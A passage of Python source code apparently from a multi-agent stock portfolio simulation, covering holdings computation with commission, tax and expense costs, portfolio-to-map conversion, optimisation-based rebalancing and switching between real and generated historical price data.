`self.t`.\r\n            meta_data_arr:  meta data of the action.\r\n        \r\n        Returns:\r\n            Tuple data.\r\n            - state in `self.t+1`.\r\n            - meta data of the state.\r\n\r\n            generated_stock_df_list:         `list` of `pd.DataFrame` of generated historical data.\r\n                                                - val1: Date key.\r\n                                                - val2: Values(unit prices).\r\n                                                - val3: Volumes.\r\n                                                - val4: ticker.\r\n                                                This array must be sorted by `val1` and unique key of each stock.\r\n\r\n        '''\r\n        self.__possible_flag = False\r\n        try:\r\n            self.__switch_historical_data()\r\n        except StockHistoryError:\r\n            self.__reset_date_and_histroical_data()\r\n\r\n        self.state_arr = self.__real_state_arr.copy()\r\n        self.__state_hold_arr = self.__real_state_hold_arr.copy()\r\n\r\n        _ = self.observe_reward_value(\r\n            self.state_arr, \r\n            action_arr,\r\n            meta_data_arr=meta_data_arr,\r\n        )\r\n\r\n        if self.__possible_flag is False:\r\n            self.__state_hold_arr = self.action_hold_arr.copy()\r\n        else:\r\n            self.__possible_state_hold_arr = self.action_hold_arr.copy()\r\n\r\n        self.t = self.t + 1\r\n        return action_arr, meta_data_arr\r\n\r\n    def check_the_end_flag(self, state_arr, meta_data_arr=None):\r\n        '''\r\n        Check the end flag.\r\n        \r\n        If this return value is `True`, the learning is end.\r\n\r\n        As a rule, the learning can not be stopped.\r\n        This method should be overrided for concreate usecases.\r\n\r\n        Args:\r\n            state_arr:      state in `self.t`.\r\n            meta_data_arr:  meta data of the state.\r\n\r\n        Returns:\r\n            bool\r\n        '''\r\n        self.__possible_flag = False\r\n\r\n        if self.fix_date_flag is False:\r\n            return False\r\n\r\n        # As a rule, the learning can not be stopped.\r\n        next_date_key = self.__now_date_key + self.__date_fraction\r\n\r\n        if self.__end_date is None:\r\n            row = 0\r\n            for add in range(10):\r\n                row += self.__historical_arr[self.__historical_arr[:, 0] == next_date_key + add].shape[0]\r\n\r\n            if row > 0:\r\n                return False\r\n            else:\r\n                return True\r\n        else:\r\n            next_date_timestamp = (\r\n                datetime.strptime(self.__start_date, \"%Y-%m-%d\") + timedelta(days=next_date_key)\r\n            ).timestamp()\r\n            end_date_timestamp = datetime.strptime(self.__end_date, \"%Y-%m-%d\").timestamp()\r\n            if next_date_timestamp >= end_date_timestamp:\r\n                return True\r\n            else:\r\n                return False\r\n\r\n    def __now_date(self):\r\n        _date = datetime.strptime(self.__start_date, \"%Y-%m-%d\") + timedelta(days=self.__now_date_key)\r\n        _date = datetime.strftime(_date, \"%Y-%m-%d\")\r\n        return _date\r\n\r\n    def now_date(self):\r\n        return self.__now_date()\r\n\r\n    def __generated_date_range(self):\r\n        generative_start_date = self.__now_date()\r\n        generative_end_date = self.__end_date\r\n        return generative_start_date, generative_end_date\r\n\r\n    def __min_max_re_generated(self, _df, _target_arr, ticker_list):\r\n        result_df_list = []\r\n        col = \"adjusted_close\"\r\n        for ticker in ticker_list:\r\n            df = _df[_df.ticker == ticker]\r\n            target_arr = _target_arr[_target_arr[:, 3] == ticker]\r\n            _max, _min = target_arr[:, 1].max(), target_arr[:, 1].min()\r\n            df[col] = df[col].fillna(0.0)\r\n            df[col] = (df[col] - df[col].min()) / (df[col].max() - df[col].min())\r\n            df[col] = (_max - _min) * df[col]\r\n            df[col] = df[col] + _min\r\n            result_df_list.append(df)\r\n\r\n        result_df = pd.concat(result_df_list)\r\n        result_df = result_df.sort_values(by=[\"date\", \"ticker\"])\r\n        return result_df\r\n\r\n    def __re_generate_historical_data(self):\r\n        max_date_key = self.__now_date_key\r\n\r\n        start_date, end_date = self.__generated_date_range()\r\n        not_learning_flag = self.__extractable_generated_historical_data.not_learning_flag\r\n        self.__extractable_generated_historical_data.not_learning_flag = True\r\n        generated_historical_df = self.__extractable_generated_historical_data.extract(\r\n            start_date=start_date,\r\n            end_date=end_date,\r\n            ticker_list=self.__ticker_list\r\n        )\r\n        self.__extractable_generated_historical_data.not_learning_flag = not_learning_flag\r\n        #generated_historical_df = generated_historical_df.sort_values(by=[\"batch_n\", \"date\"])\r\n        generated_historical_df = generated_historical_df.sort_values(by=[\"date\", \"ticker\"])\r\n        generated_historical_df = self.__min_max_re_generated(\r\n            generated_historical_df,\r\n            self.__historical_arr,\r\n            self.__ticker_list\r\n        )\r\n        generated_historical_df.date_key = generated_historical_df.date_key + max_date_key\r\n\r\n        generated_historical_df_list = [None] * self.__batch_size\r\n        for batch in range(self.__batch_size):\r\n            generated_historical_df_list[batch] = generated_historical_df[\r\n                generated_historical_df.batch_n == str(batch)\r\n            ]\r\n            old_df = pd.DataFrame(self.__generated_historical_arr_list[batch])\r\n            old_df.columns = [\r\n                \"date_key\",\r\n                \"adjusted_close\",\r\n                \"volume\",\r\n                \"ticker\"\r\n            ]\r\n\r\n            new_df_list = []\r\n            for ticker in old_df.ticker.drop_duplicates().values:\r\n                df = old_df[old_df.ticker == ticker]\r\n                _max, _min = df.adjusted_close.max(), df.adjusted_close.min()\r\n                df = generated_historical_df_list[batch]\r\n                df = df[df.ticker == ticker]\r\n                df.adjusted_close = (df.adjusted_close - df.adjusted_close.min()) / (df.adjusted_close.max() - df.adjusted_close.min())\r\n                df.adjusted_close = (_max - _min) * df.adjusted_close\r\n                df.adjusted_close = df.adjusted_close + _min\r\n                new_df_list.append(df)\r\n            generated_historical_df_list[batch] = pd.concat(new_df_list)\r\n            generated_historical_df_list[batch] = generated_historical_df_list[batch].sort_values(by=[\"date\", \"ticker\"])\r\n\r\n        for i in range(len(generated_historical_df_list)):\r\n            _df = generated_historical_df_list[i][\r\n                [\r\n                    \"date_key\",\r\n                    \"adjusted_close\",\r\n                    \"volume\",\r\n                    \"ticker\"\r\n                ]\r\n            ]\r\n\r\n            generated_historical_df_list[i] = _df.values\r\n\r\n        self.__generated_historical_arr_list = generated_historical_df_list\r\n\r\n    def __compute_default_hold(self, portfolio_arr, batch):\r\n        hold_arr = np.zeros((\r\n            self.__agents_master_arr[batch].shape[0],\r\n            self.__stock_master_arr_list[batch].shape[0]\r\n        ))\r\n\r\n        for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n            hold_arr[agent_i] = portfolio_arr[agent_i]\r\n            if self.__possible_flag is False:\r\n                hold_arr[agent_i] *= self.__agents_master_arr[batch][agent_i, 1]\r\n                hold_arr[agent_i] *= (1 - self.__agents_master_arr[batch][agent_i, 4])\r\n            else:\r\n                hold_arr[agent_i] *= self.__possible_agents_master_arr[batch][agent_i, 1]\r\n                hold_arr[agent_i] *= (1 - self.__possible_agents_master_arr[batch][agent_i, 4])\r\n\r\n            hold_arr[agent_i] = hold_arr[agent_i] / self.__stock_master_arr_list[batch][:, 0]\r\n\r\n        hold_arr = np.ceil(hold_arr).astype(int)\r\n        return hold_arr\r\n\r\n    def __compute_hold(self, portfolio_arr, batch, pre_hold_arr=None):\r\n        \"\"\"\r\n            agents_master_arr[batch, agent_i, dim]:      \r\n                dim: rank-1 and 4D `np.ndarray` of each multi-agents's money.\r\n                    agent_key_arr,\r\n                    money_arr,\r\n                    market_val_arr,\r\n                    rebalancing_prob_arr,\r\n                    risk_free_rate_arr,\r\n                    buy_arr,\r\n                    sel_arr,\r\n                    cost_arr,\r\n                    income_gain_arr,\r\n        \"\"\"\r\n        hold_arr = np.zeros((\r\n            self.__agents_master_arr[batch].shape[0],\r\n            self.__stock_master_arr_list[batch].shape[0]\r\n        ))\r\n        commission_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        expense_ratio_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        dividend_ratio_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        tax_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        buy_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        sel_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n\r\n        if pre_hold_arr is not None:\r\n            pre_hold_sum = pre_hold_arr.sum()\r\n        else:\r\n            pre_hold_sum = 0\r\n\r\n        if self.__possible_flag is False:\r\n            agents_master_arr = self.__agents_master_arr.copy()\r\n            if pre_hold_arr is None or pre_hold_sum == 0:\r\n                pre_state_hold_arr = self.__real_state_hold_arr[batch].copy()\r\n            else:\r\n                pre_state_hold_arr = pre_hold_arr.copy()\r\n        else:\r\n            agents_master_arr = self.__possible_agents_master_arr.copy()\r\n            if pre_hold_arr is None or pre_hold_sum == 0:\r\n                pre_state_hold_arr = self.__state_hold_arr[batch].copy()\r\n            else:\r\n                pre_state_hold_arr = pre_hold_arr.copy()\r\n\r\n        now_date = datetime.strptime(self.__now_date(), \"%Y-%m-%d\")\r\n        start_date = datetime.strptime(self.__start_date, \"%Y-%m-%d\")\r\n        now_days = (now_date - start_date).days\r\n\r\n        for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n            hold_arr[agent_i] = portfolio_arr[agent_i]\r\n\r\n            if self.__possible_flag is False:\r\n                # * (money_arr + market_val_arr)\r\n                hold_arr[agent_i] *= (self.__agents_master_arr[batch][agent_i, 1] + self.__agents_master_arr[batch][agent_i, 2])\r\n\r\n                # * (1 - risk_free_rate_arr)\r\n                hold_arr[agent_i] *= (1 - self.__agents_master_arr[batch][agent_i, 4])\r\n            else:\r\n                # * (money_arr + market_val_arr)\r\n                hold_arr[agent_i] *= (self.__possible_agents_master_arr[batch][agent_i, 1] + self.__possible_agents_master_arr[batch][agent_i, 2])\r\n\r\n                # * (1 - risk_free_rate_arr)\r\n                hold_arr[agent_i] *= (1 - self.__possible_agents_master_arr[batch][agent_i, 4])\r\n\r\n            # / adjusted_close\r\n            hold_arr[agent_i] = hold_arr[agent_i] / self.__stock_master_arr_list[batch][:, 0]\r\n            # hold = portfolio_arr * (money_arr + market_val_arr) * (1 - risk_free_rate_arr) / adjusted_close\r\n\r\n            if self.__rebalance_sub_policy_list[batch][agent_i] == \"dollar_cost_averaging\":\r\n                hold_arr[agent_i] = hold_arr[agent_i] * now_days / self.__total_days\r\n\r\n            hold_arr[agent_i] = np.ceil(hold_arr[agent_i]).astype(int)\r\n            hold_arr[agent_i] = hold_arr[agent_i].astype(int)\r\n\r\n            if hold_arr[agent_i].sum() == 0:\r\n                hold_arr[agent_i] = pre_state_hold_arr[agent_i]\r\n            else:\r\n                limit = 100\r\n                try_n = 0\r\n                while True:\r\n                    if try_n >= limit or np.max(hold_arr[agent_i]) <= 1:\r\n                        hold_arr[agent_i] = pre_state_hold_arr[agent_i]\r\n                        break\r\n\r\n                    try_n = try_n + 1\r\n\r\n                    commission_arr[agent_i] = np.abs(hold_arr[agent_i] - pre_state_hold_arr[agent_i]) * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 1]\r\n                    expense_ratio_arr[agent_i] = hold_arr[agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 4].astype(float) * float(self.__date_fraction) / 365 / 100\r\n                    dividend_ratio_arr[agent_i] = hold_arr[agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 7].astype(float) * float(self.__date_fraction) / 365 / 100\r\n                    buy_arr[agent_i] = np.maximum(hold_arr[agent_i] - pre_state_hold_arr[agent_i], 0) * self.__stock_master_arr_list[batch][:, 0]\r\n                    sel_arr[agent_i] = np.maximum(pre_state_hold_arr[agent_i] - hold_arr[agent_i], 0) * self.__stock_master_arr_list[batch][:, 0]\r\n                    tax_arr[agent_i] = np.maximum(sel_arr[agent_i] - buy_arr[agent_i], 0) * self.__stock_master_arr_list[batch][:, 2]\r\n                    tax_arr[agent_i] = tax_arr[agent_i] + (dividend_ratio_arr[agent_i] * self.__stock_master_arr_list[batch][:, 2])\r\n\r\n                    commission_tax = np.nansum(tax_arr[agent_i] + commission_arr[agent_i] + expense_ratio_arr[agent_i])\r\n                    buy = buy_arr[agent_i].sum()\r\n                    sel = sel_arr[agent_i].sum()\r\n\r\n                    money = agents_master_arr[batch, agent_i, 1] - commission_tax\r\n                    money = money - buy\r\n                    money = money + sel\r\n\r\n                    with np.errstate(invalid='ignore'):\r\n                        if money <= 0:\r\n                            hold_arr[agent_i] = hold_arr[agent_i] / 2\r\n                            hold_arr[agent_i] = np.maximum(hold_arr[agent_i], 0)\r\n                            \"\"\"\r\n                            if hold_arr[agent_i].sum() <= 0:\r\n                                hold_arr[agent_i] = pre_state_hold_arr[agent_i].copy()\r\n                                break\r\n                            \"\"\"\r\n                        else:\r\n                            break\r\n\r\n        hold_arr = np.maximum(hold_arr, 0)\r\n\r\n        return hold_arr\r\n\r\n    def __convert_portfolio_into_map(\r\n        self, \r\n        portfolio_arr, \r\n        batch, \r\n        _portfolio_map_arr=None, \r\n        check_zero_flag=True,\r\n        before_portfolio_arr=None\r\n    ):\r\n        portfolio_map_arr = np.zeros((\r\n            self.__agents_master_arr[batch].shape[0],\r\n            self.__stock_master_arr_list[batch].shape[0],\r\n            100\r\n        ))\r\n\r\n        for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n            arr = portfolio_arr[agent_i].copy()\r\n            S = np.nansum(portfolio_arr[agent_i])\r\n\r\n            if S != 0:\r\n                key_arr = portfolio_arr[agent_i] / S\r\n                key_arr = 100 * key_arr\r\n            else:\r\n                raise ValueError(\"portfolio_arr[agent_i] is zero.\")\r\n\r\n            key_arr = key_arr.astype(int)\r\n            if key_arr.max() == 100:\r\n                key_arr = np.minimum(key_arr, 99)\r\n\r\n            try:\r\n                for stock_i in range(self.__stock_master_arr_list[batch].shape[0]):\r\n                    if self.__possible_flag is False:\r\n                        portfolio_map_arr[\r\n                            agent_i, \r\n                            stock_i, \r\n                            key_arr[stock_i]\r\n                        ] = portfolio_arr[agent_i][stock_i]\r\n                    else:\r\n                        portfolio_map_arr[\r\n                            agent_i, \r\n                            stock_i, \r\n                            key_arr[stock_i]\r\n                        ] = portfolio_arr[agent_i][stock_i]\r\n\r\n            except IndexError:\r\n                self.__logger.debug(arr)\r\n                self.__logger.debug(portfolio_arr[agent_i])\r\n                raise\r\n\r\n            portfolio_map_arr[agent_i] = np.nan_to_num(portfolio_map_arr[agent_i])\r\n\r\n            if portfolio_map_arr[agent_i].sum() == 0:\r\n                if _portfolio_map_arr is not None:\r\n                    portfolio_map_arr[agent_i] = _portfolio_map_arr[agent_i]\r\n                else:\r\n                    if check_zero_flag is True:\r\n                        if before_portfolio_arr is None:\r\n                            raise ValueError(\"The values of portfolio map are zeros.\")\r\n                        else:\r\n                            arr = before_portfolio_arr[agent_i].copy()\r\n                            S = np.nansum(before_portfolio_arr[agent_i])\r\n\r\n                            if S != 0:\r\n                                key_arr = before_portfolio_arr[agent_i] / S\r\n                                key_arr = 100 * key_arr\r\n                            else:\r\n                                key_arr = before_portfolio_arr[agent_i]\r\n\r\n                            key_arr = key_arr.astype(int)\r\n                            if key_arr.max() == 100:\r\n                                key_arr = np.minimum(key_arr, 99)\r\n\r\n                            for stock_i in range(self.__stock_master_arr_list[batch].shape[0]):\r\n                                if self.__possible_flag is False:\r\n                                    portfolio_map_arr[\r\n                                        agent_i, \r\n                                        stock_i, \r\n                                        key_arr[stock_i]\r\n                                    ] = before_portfolio_arr[agent_i][stock_i]\r\n                                else:\r\n                                    portfolio_map_arr[\r\n                                        agent_i, \r\n                                        stock_i, \r\n                                        key_arr[stock_i]\r\n                                    ] = before_portfolio_arr[agent_i][stock_i]\r\n\r\n        return portfolio_map_arr\r\n\r\n    def convert_map_into_portfolio(self, portfolio_map_arr, batch):\r\n        return self.__convert_map_into_portfolio(portfolio_map_arr, batch)\r\n\r\n    def __convert_map_into_portfolio(self, portfolio_map_arr, batch, check_flag=True):\r\n        portfolio_arr = np.zeros((\r\n            self.__agents_master_arr[batch].shape[0],\r\n            self.__stock_master_arr_list[batch].shape[0]\r\n        ))\r\n        for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n            if check_flag is True:\r\n                if portfolio_map_arr[agent_i].sum() == 0:\r\n                    self.__logger.debug(portfolio_map_arr.shape)\r\n                    self.__logger.debug(agent_i)\r\n                    raise ValueError(\"portfolio_map_arr is zero.\")\r\n\r\n            for stock_i in range(self.__stock_master_arr_list[batch].shape[0]):\r\n                try:\r\n                    #prob = np.where(portfolio_map_arr[agent_i, stock_i] > 0)[0][0]\r\n                    prob = np.argmax(portfolio_map_arr[agent_i, stock_i])\r\n                    portfolio_arr[agent_i, stock_i] = prob / 100\r\n                except IndexError as e:\r\n                    self.__logger.debug(e)\r\n                    self.__logger.debug((\"stock_i\", stock_i))\r\n                    continue\r\n\r\n            if portfolio_arr[agent_i].sum() == 0:\r\n                self.__logger.debug(portfolio_map_arr.shape)\r\n                self.__logger.debug(portfolio_arr.shape)\r\n                self.__logger.debug(agent_i)\r\n                raise ValueError(\"portfolio_arr[agent_i] is zero.\")\r\n\r\n            portfolio_arr[agent_i] = portfolio_arr[agent_i] / np.nansum(portfolio_arr[agent_i])\r\n\r\n        return portfolio_arr\r\n\r\n    def __compute_assessment(self, agents_master_arr, hold_arr, batch):\r\n        '''\r\n            agents_master_arr:       rank-1 and 4D `np.ndarray` of each multi-agents's money.\r\n                                    - val1: Multi-agents unique key.\r\n                                    - val2: Money.\r\n                                    - val3: Market valuation.\r\n                                    - val4: The probability of rebalancing.\r\n                                    - val5: Risk-free rate.\r\n                                    - val6: Real invested values.\r\n                                    - val7: Tax and commission.\r\n\r\n        '''\r\n        assessment_arr = np.empty((\r\n            agents_master_arr.shape[0],\r\n            self.__stock_master_arr_list[batch].shape[0]\r\n        ))\r\n        for agent_i in range(agents_master_arr.shape[0]):\r\n            assessment_arr[agent_i] = hold_arr[agent_i] * self.__stock_master_arr_list[batch][:, 0]\r\n\r\n        return assessment_arr\r\n\r\n    def __compute_invested_commission_tax(\r\n        self, \r\n    ):\r\n        '''\r\n            stock_master_arr:       rank-1 and 5D `np.ndarray` of stock master data.\r\n                                    - key:  Unique key of each stock.\r\n                                    - val1: Unit prices in relation to the Market valuation.\r\n                                    - val2: Commission.\r\n                                    - val3: Tax.\r\n                                    - val4: Ticker.\r\n                                    - val5: Expense ratio.\r\n                                    - val6: Asset allocation.\r\n                                    - val7: Area allocation.\r\n\r\n        '''\r\n        result_list = [None] * self.__agents_master_arr.shape[0]\r\n        for batch in range(self.__agents_master_arr.shape[0]):\r\n            commission_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            expense_ratio_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            dividend_ratio_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            tax_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            buy_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            sel_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n                commission_arr[agent_i] = np.abs(self.action_hold_arr[batch][agent_i] - self.__state_hold_arr[batch][agent_i]) * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 1]\r\n                expense_ratio_arr[agent_i] = self.action_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 4].astype(float) * float(self.__date_fraction) / 365 / 100\r\n                dividend_ratio_arr[agent_i] = self.action_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 7].astype(float) * float(self.__date_fraction) / 365 / 100\r\n                buy_arr[agent_i] = np.maximum(self.action_hold_arr[batch][agent_i] - self.__state_hold_arr[batch][agent_i], 0) * self.__stock_master_arr_list[batch][:, 0]\r\n                sel_arr[agent_i] = np.maximum(self.__state_hold_arr[batch][agent_i] - self.action_hold_arr[batch][agent_i], 0) * self.__stock_master_arr_list[batch][:, 0]\r\n                tax_arr[agent_i] = np.maximum(sel_arr[agent_i] - buy_arr[agent_i], 0) * self.__stock_master_arr_list[batch][:, 2]\r\n                tax_arr[agent_i] = tax_arr[agent_i] + (dividend_ratio_arr[agent_i] * self.__stock_master_arr_list[batch][:, 2])\r\n\r\n            commission_tax_arr = np.nansum(tax_arr + commission_arr + expense_ratio_arr, axis=1)\r\n            buy_arr = np.nansum(buy_arr, axis=1)\r\n            sel_arr = np.nansum(sel_arr, axis=1)\r\n            dividend_ratio_arr = np.nansum(dividend_ratio_arr, axis=1)\r\n\r\n            result_list[batch] = (\r\n                buy_arr, \r\n                sel_arr,\r\n                commission_tax_arr,\r\n                dividend_ratio_arr,\r\n            )\r\n\r\n        return result_list\r\n\r\n    def __rebalance(self, agent_i, opt_policy, batch):\r\n        '''\r\n        Rebalance.\r\n        \r\n        Args:\r\n            opt_policy:        \r\n            first_date_flag:  \r\n        '''\r\n        if self.__possible_flag is False:\r\n            if (opt_policy, self.__now_date_key, int(self.__possible_flag)) in self.__opt_memo_dict:\r\n                return self.__opt_memo_dict[(opt_policy, self.__now_date_key, int(self.__possible_flag))]\r\n        else:\r\n            if (opt_policy, self.__now_date_key, int(self.__possible_flag), batch) in self.__opt_memo_dict:\r\n                return self.__opt_memo_dict[(opt_policy, self.__now_date_key, int(self.__possible_flag), batch)]\r\n\r\n        \"\"\"\r\n        if self.__possible_flag is False:\r\n            if (opt_policy, self.__now_date_key, int(self.__possible_flag)) in self.__opt_memo_dict_list[batch]:\r\n                print((opt_policy, self.__now_date_key, int(self.__possible_flag)))\r\n                return self.__opt_memo_dict_list[batch][(opt_policy, self.__now_date_key, int(self.__possible_flag))]\r\n        else:\r\n            if (opt_policy, self.__now_date_key, int(self.__possible_flag), batch) in self.__opt_memo_dict_list[batch]:\r\n                print((opt_policy, self.__now_date_key, int(self.__possible_flag), batch))\r\n                return self.__opt_memo_dict_list[batch][(opt_policy, self.__now_date_key, int(self.__possible_flag), batch)]\r\n        \"\"\"\r\n\r\n        if self.__generated_historical_arr_list is None or self.__possible_flag is False:\r\n            historical_arr = self.__historical_arr[\r\n                self.__historical_arr[:, 0] <= self.__now_date_key\r\n            ]\r\n        else:\r\n            generated_historical_arr = self.__generated_historical_arr_list[batch][\r\n                self.__generated_historical_arr_list[batch][:, 0] <= self.__now_date_key\r\n            ]\r\n            generated_historical_arr = generated_historical_arr[\r\n                generated_historical_arr[:, 0] > (self.__now_date_key - self.__date_fraction)\r\n            ]\r\n            historical_arr = self.__historical_arr[\r\n                self.__historical_arr[:, 0] <= (self.__now_date_key - self.__date_fraction)\r\n            ]\r\n\r\n            if historical_arr.shape[0] > 0:\r\n                historical_df = pd.DataFrame(historical_arr)\r\n                historical_df.columns = [\r\n                    \"date_key\",\r\n                    \"adjusted_close\",\r\n                    \"volume\",\r\n                    \"ticker\",\r\n                ]\r\n                generated_historical_df = pd.DataFrame(generated_historical_arr)\r\n                generated_historical_df.columns = [\r\n                    \"date_key\",\r\n                    \"adjusted_close\",\r\n                    \"volume\",\r\n                    \"ticker\",\r\n                ]\r\n\r\n                post_df_list = []\r\n                for ticker in self.__ticker_list:\r\n                    pre_df = historical_df[historical_df.ticker == ticker]\r\n                    post_df = generated_historical_df[generated_historical_df.ticker == ticker]\r\n                    try:\r\n                        diff = post_df.adjusted_close.values[0] - pre_df.adjusted_close.values.mean()\r\n                        post_df.adjusted_close = post_df.adjusted_close - diff\r\n                    except Exception as e:\r\n                        pass\r\n\r\n                    post_df_list.append(post_df)\r\n\r\n                generated_historical_arr = pd.concat(post_df_list).values\r\n\r\n            historical_arr = np.r_[historical_arr, generated_historical_arr]\r\n\r\n        asset_allocation_list = self.__stock_master_arr_list[batch][:, 8].tolist()\r\n        asset_allocation_list = list(set(asset_allocation_list))\r\n        area_allocation_list = self.__stock_master_arr_list[batch][:, 9].tolist()\r\n        area_allocation_list = list(set(area_allocation_list))\r\n\r\n        df = None\r\n        for i in range(len(asset_allocation_list)):\r\n            asset_stock_master_arr = self.__stock_master_arr_list[batch][self.__stock_master_arr_list[batch][:, 8] == asset_allocation_list[i]]\r\n            for j in range(len(area_allocation_list)):\r\n                stock_master_arr = asset_stock_master_arr[asset_stock_master_arr[:, 9] == area_allocation_list[j]]\r\n                if stock_master_arr.shape[0] == 0:\r\n                    continue\r\n\r\n                ticker_list = stock_master_arr[:, 3].tolist()\r\n                ticker_list = list(set(ticker_list))\r\n\r\n                if len(ticker_list) > 1:\r\n                    h_arr = None\r\n                    for ticker in ticker_list:\r\n                        arr = historical_arr[historical_arr[:, 3] == ticker]\r\n                        arr = arr[:, 1]\r\n                        if h_arr is None:\r\n                            h_arr = historical_arr[historical_arr[:, 3] == ticker]\r\n                        else:\r\n                            h_arr = np.r_[h_arr, historical_arr[historical_arr[:, 3] == ticker]]\r\n\r\n                    if self.__possible_flag is False:\r\n                        h_df = self.__portfolio_optimization_dict[opt_policy].optimize(\r\n                            h_arr,\r\n                            risk_free_rate=self.__agents_master_arr[batch][agent_i, 4][0]\r\n                        )\r\n                    else:\r\n                        h_df = self.__portfolio_optimization_dict[opt_policy].optimize(\r\n                            h_arr,\r\n                            risk_free_rate=self.__possible_agents_master_arr[batch][agent_i, 4][0]\r\n                        )\r\n                else:\r\n                    h_df = pd.DataFrame(\r\n                        [1.0], \r\n                        columns=[ticker_list[0]],\r\n                        index=['allocation']\r\n                    )\r\n\r\n                for ticker in h_df.columns:\r\n                    arr = stock_master_arr[stock_master_arr[:, 3] == ticker]\r\n                    h_df[ticker] = h_df[ticker] * float(arr[:, 5])\r\n                    h_df[ticker] = h_df[ticker] * float(arr[:, 6])\r\n\r\n                if df is None:\r\n                    df = h_df\r\n                else:\r\n                    df = pd.concat([df, h_df], axis=1)\r\n\r\n        if df.dropna().shape[0] == 0:\r\n            past_date_key = self.__now_date_key - self.__date_fraction\r\n            while (opt_policy, past_date_key, int(self.__possible_flag)) not in self.__opt_memo_dict_list[batch]:\r\n                past_date_key -= 1\r\n                if past_date_key < 0:\r\n                    raise ValueError()\r\n\r\n            portfolio_arr = self.__opt_memo_dict_list[batch][(opt_policy, past_date_key, int(self.__possible_flag))]\r\n        else:\r\n            portfolio_arr = df[self.__stock_master_arr_list[batch][:, 3].tolist()].values.T.reshape(-1, )\r\n\r\n        portfolio_arr = portfolio_arr / np.nansum(portfolio_arr)\r\n\r\n        if portfolio_arr.sum() == 0:\r\n            raise ValueError(\"Rebalanced portfolio is zero.\")\r\n\r\n        if self.__possible_flag is False:\r\n            self.__opt_memo_dict.setdefault(\r\n                (opt_policy, self.__now_date_key, int(self.__possible_flag)),\r\n                portfolio_arr\r\n            )\r\n        else:\r\n            self.__opt_memo_dict.setdefault(\r\n                (opt_policy, self.__now_date_key, int(self.__possible_flag), batch),\r\n                portfolio_arr\r\n            )\r\n\r\n        \"\"\"\r\n        if self.__possible_flag is False:\r\n            self.__opt_memo_dict_list[batch].setdefault(\r\n                (opt_policy, self.__now_date_key, int(self.__possible_flag)), \r\n                portfolio_arr\r\n            )\r\n        else:\r\n            self.__opt_memo_dict_list[batch].setdefault(\r\n                (opt_policy, self.__now_date_key, int(self.__possible_flag), batch), \r\n                portfolio_arr\r\n            )\r\n        \"\"\"\r\n\r\n        return portfolio_arr\r\n\r\n    def update_historical_data(self, date_key_arr=None):\r\n        self.__update_historical_data(date_key_arr)\r\n\r\n    def __update_historical_data(self, date_key_arr=None):\r\n        '''\r\n        Update historical data.\r\n\r\n        todo: possible_flag is True,  stock_master_arr もバッチ化\r\n        '''\r\n        if date_key_arr is None:\r\n            self.__now_date_key += self.__date_fraction\r\n        else:\r\n            self.__now_date_key = date_key_arr.max() + self.__date_fraction\r\n        \r\n        self.__switch_historical_data()\r\n        #self.__re_generate_historical_data()\r\n\r\n    def __switch_historical_data(self):\r\n        for batch in range(self.__batch_size):\r\n            for add in range(10):\r\n                if self.__possible_flag is False:\r\n                    new_arr = self.__historical_arr[self.__historical_arr[:, 0] == self.__now_date_key + add]\r\n                else:\r\n                    new_arr = self.__generated_historical_arr_list[batch][\r\n                        self.__generated_historical_arr_list[batch][:, 0] == self.__now_date_key + add\r\n                    ]\r\n\r\n                if self.__daily_stock_master_flag is True:\r\n                    master_df = self.__stock_master_df_list[batch][\r\n                        self.__stock_master_df_list[batch][\"date_key\"] == self.__now_date_key + add\r\n                    ]\r\n                    if master_df.shape[0] > 0 and new_arr.shape[0] > 0:\r\n                        break\r\n                else:\r\n                    if new_arr.shape[0] > 0:\r\n                        break\r\n\r\n            if new_arr.shape[0] == 0:\r\n                raise StockHistoryError(\"new arr is zero.\")\r\n            elif self.__daily_stock_master_flag is True and master_df.shape[0] == 0:\r\n                raise StockHistoryError(\"new master df is zero.\")\r\n            else:\r\n                if self.__daily_stock_master_flag is False:\r\n                    old_master_arr = self.__stock_master_arr_list[batch].copy()\r\n                    new_master_val_list = []\r\n                    for i in range(new_arr.shape[0]):\r\n                        new_master_list = self.__stock_master_arr_list[\r\n                            batch\r\n                        ][\r\n                            self.__stock_master_arr_list[batch][:, 3] == new_arr[i, 3]\r\n                        ].tolist()[0]\r\n\r\n                        past = new_master_list[0]\r\n                        new_master_list[0] = new_arr[i, 1]\r\n                        new = new_master_list[0]\r\n                        new_master_val_list.append(new_master_list)\r\n\r\n                    new_master_arr = np.array(new_master_val_list)\r\n                    new_master_arr[:, 0] = new_master_arr[:, 0].astype(np.float)\r\n                    new_master_arr[:, 1] = new_master_arr[:, 1].astype(np.float)\r\n                    new_master_arr[:, 